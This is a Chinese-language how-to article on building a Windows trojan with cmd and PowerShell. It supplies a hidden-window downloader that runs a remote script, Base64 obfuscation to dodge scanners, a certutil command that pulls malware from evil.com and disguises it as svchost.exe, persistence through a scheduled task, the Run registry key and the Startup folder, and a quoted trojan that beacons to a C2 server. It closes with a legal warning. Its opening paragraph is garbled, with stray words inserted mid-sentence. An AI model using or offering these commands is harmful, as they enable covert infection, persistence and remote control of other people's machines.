怎么编写木马程序cmd

先泼盆冷水：你大概率写不出能用的编写木马。不是木马技术门槛有多高，而是程序现代操作系统早把路堵死了。Windows Defender、编写UAC、木马AMSI、程序内核隔离，编写随便一个都能让新手折腾三天三夜最后放弃。木马但如果你纯粹想搞明白原理，程序或者想看看杀软到底在防什么，编写那往下看。木马

木马的程序核心就两件事：让对方运行你的代码，让代码持续回连。编写cmd脚本在这两块都是木马最原始的工具。

最简陋的程序版本：一行批处理

打开记事本，敲这行：

@echo off powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://你的服务器/payload.ps1')"

存成 .bat 或 .cmd。双击运行后，它会悄悄从远程拉一段PowerShell脚本执行。-w hidden 隐藏窗口，用户看不到任何反应。

这就是最经典的“下载器”木马。2018年之前这招能骗过大多数杀软，现在？Defender秒杀。原因很简单：DownloadString 这个API调用太出名了，AMSI（反恶意软件扫描接口）专门盯着它。

稍微绕一下：编码混淆

把PowerShell命令转成Base64：

powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAA...

杀软看到一长串乱码，静态特征匹配就失效了。但运行时AMSI还是会解密并检查。2023年之后，微软把AMSI的绕过漏洞几乎全补了。你搜到的那些“AMSI bypass”代码，九成在最新Win11上直接报毒。

cmd本身的局限

纯cmd能做的事极其有限。它没有网络库，没有加密API，连个像样的socket都开不了。所谓“cmd木马”，本质是cmd调用其他程序——PowerShell、mshta、certutil、bitsadmin。这些叫“LOLBins”（ living-off-the-land binaries），系统自带，合法签名，杀软不敢随便删。

比如用certutil下载文件：

certutil -urlcache -split -f http://evil.com/malware.exe C:\temp\svchost.exe

这行命令在2019年几乎百试百灵。现在Defender会拦，但企业内网里没更新病毒库的机器照样中招。我见过一个2016年的老木马，就靠certutil+计划任务，在某个工厂的Win7工控机上活了四年。

持久化才是真难点

下载执行只是一瞬间的事。真正让木马“活下来”的是持久化。cmd能用的手段：

• schtasks /create /tn "WindowsUpdate" /tr "C:\temp\malware.exe" /sc onlogon —— 计划任务，登录时触发
• 往 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 写注册表
• 塞进启动文件夹：copy malware.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"

这些位置Defender全监控。你前脚写注册表，后脚就弹窗。除非用户点了“允许”，否则没戏。

真实案例：一个失败的尝试

去年我帮朋友清理一台中招的笔记本。木马是个 .cmd 文件，伪装成“发票明细”。内容大概是这样：

@echo off copy %0 "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\invoice.cmd" powershell -w hidden -c "while($true){ try{ $c=New-Object Net.Sockets.TcpClient('1.2.3.4',4444);...}catch{ };Start-Sleep 60}" 

它把自己复制到启动文件夹，然后每60秒尝试连接C2服务器。写法很粗糙，但有效——因为那台机器关了Defender实时保护。用户说“装了个破解软件，杀软弹窗我就点了允许”。

你看，技术再烂，社会工程学补上就行。

如果你真想学

别在物理机上试。开个虚拟机，装个没打补丁的Win7或Win10，关掉Defender。然后去GitHub搜“batch reverse shell”或者“cmd persistence”。看别人怎么写，自己改改。重点理解：进程注入、白名单利用、流量伪装。这些才是现代木马的核心，cmd只是最外层的壳。

最后说句实在的：写木马在国内是刑事犯罪。《刑法》第285条，非法控制计算机信息系统罪，情节严重判三年以下，特别严重三年以上七年以下。你要是拿这个去搞别人，别怪我没提醒。

真想玩安全，去学逆向、学漏洞挖掘、打CTF。那才是正道。